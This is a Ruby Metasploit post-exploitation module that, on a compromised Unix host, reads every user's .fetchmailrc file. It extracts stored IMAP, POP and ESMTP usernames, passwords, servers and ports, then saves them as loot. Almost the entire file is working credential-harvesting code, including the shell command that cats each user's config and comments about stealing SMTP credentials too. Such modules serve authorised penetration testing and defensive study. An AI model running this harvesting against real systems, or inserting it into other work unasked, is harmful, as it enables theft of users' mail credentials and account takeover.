## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' require 'msf/core/post/common' require 'msf/core/post/file' require 'msf/core/post/unix/enum_user_dirs' class Metasploit3 < Msf::Post include Msf::Post::Common include Msf::Post::File include Msf::Post::Unix def initialize(info={}) super( update_info( info, 'Name' => 'UNIX Gather .fetchmailrc Credentials', 'Description' => %q{ Post Module to obtain credentials saved for IMAP, POP and other mail retrieval protocols in fetchmail's .fetchmailrc }, 'License' => MSF_LICENSE, 'Author' => [ 'Jon Hart ' ], 'Platform' => [ 'bsd', 'linux', 'osx', 'unix' ], 'SessionTypes' => [ 'shell' ] )) end def run # A table to store the found credentials. cred_table = Rex::Ui::Text::Table.new( 'Header' => ".fetchmailrc credentials", 'Indent' => 1, 'Columns' => [ "Username", "Password", "Server", "Protocol", "Port" ]) # walk through each user directory enum_user_directories.each do |user_dir| fetchmailrc_file = ::File.join(user_dir, ".fetchmailrc") begin # read their .fetchmailrc if it exists lines = cmd_exec("test -r #{fetchmailrc_file} && cat #{fetchmailrc_file}").lines.to_a next if (lines.size <= 0) print_status("Parsing #{fetchmailrc_file}") # delete any comments lines.delete_if { |l| l =~ /^#/ } # trim any leading/trailing whitespace lines.map { |l| l.strip! } # turn any multi-line config options into a single line to ease parsing (lines.size - 1).downto(0) do |i| # if the line we are reading doesn't signify a new configuration section... if ((not lines[i] =~ /^(?:defaults|poll|skip)\s+/)) # append the current line to the previous lines[i-1] << " " lines[i-1] << lines[i] # and axe the current line lines.delete_at(i) end end # any default options found, used as defaults for poll or skip lines # that are missing options and want to use defaults defaults = {} # now parse each line found lines.each do |line| # if there is a 'default' line, save any of these options as # they should be used when subsequent poll/skip lines are missing them. if (line =~ /^defaults/) defaults = parse_fetchmailrc_line(line).first next end # now merge the currently parsed line with whatever defaults may have # been found, then save if there is enough to save parse_fetchmailrc_line(line).each do |cred| cred = defaults.merge(cred) if (cred[:host] and cred[:protocol]) if (cred[:users].size == cred[:passwords].size) cred[:users].each_index do |i| cred_table << [ cred[:users][i], cred[:passwords][i], cred[:host], cred[:protocol], cred[:port] ] end else print_error("Skipping '#{line}' -- number of users and passwords not equal") end end end end rescue ::Exception => e print_error("Couldn't read #{fetchmailrc_file}: #{e.to_s}") end end if cred_table.rows.empty? print_status("No creds collected") else print_line("\n" + cred_table.to_s) # store all found credentials p = store_loot( "fetchmailrc.creds", "text/csv", session, cred_table.to_csv, "fetchmailrc_credentials.txt", ".fetchmailrc credentials") print_status("Credentials stored in: #{p.to_s}") end end # Parse a line +line+, assumed to be from a fetchmail configuration file, # returning an array of all credentials found on that line def parse_fetchmailrc_line(line) creds = [] cred = {} # parse and clean any users users = line.scan(/\s+user(?:name)?\s+(\S+)/).flatten unless (users.empty?) cred[:users] = [] users.each do |user| cred[:users] << user.gsub(/^"/, '').gsub(/"$/, '') end end # parse and clean any passwords passwords = line.scan(/\s+pass(?:word)?\s+(\S+)/).flatten unless (passwords.empty?) cred[:passwords] = [] passwords.each do |password| cred[:passwords] << password.gsub(/^"/, '').gsub(/"$/, '') end end # parse any hosts, ports and protocols cred[:protocol] = $1 if (line =~ /\s+proto(?:col)?\s+(\S+)/) cred[:port] = $1 if (line =~ /\s+(?:port|service)\s+(\S+)/) cred[:host] = $1 if (line =~ /^(?:poll|skip)\s+(\S+)/) # a 'via' option overrides poll/skip cred[:host] = $1 if (line =~ /\s+via\s+(\S+)/) # save this credential creds << cred # fetchmail can also "forward" mail by pulling it down with POP/IMAP and then # connecting to some SMTP server and sending it. If ESMTP AUTH (RFC 2554) credentials # are specified, steal those too. cred = {} cred[:users] = [ $1 ] if (line =~ /\s+esmtpname\s+(\S+)/) cred[:passwords] = [ $1 ] if (line =~ /\s+esmtppassword\s+(\S+)/) # XXX: what is the best way to get the host we are currently looting? localhost is lame. cred[:host] = (line =~ /\s+smtphost\s+(\S+)/ ? $1 : 'localhost') cred[:protocol] = 'esmtp' # save the ESMTP credentials if we've found enough creds << cred if (cred[:users] and cred[:passwords] and cred[:host]) # return all found credentials creds end end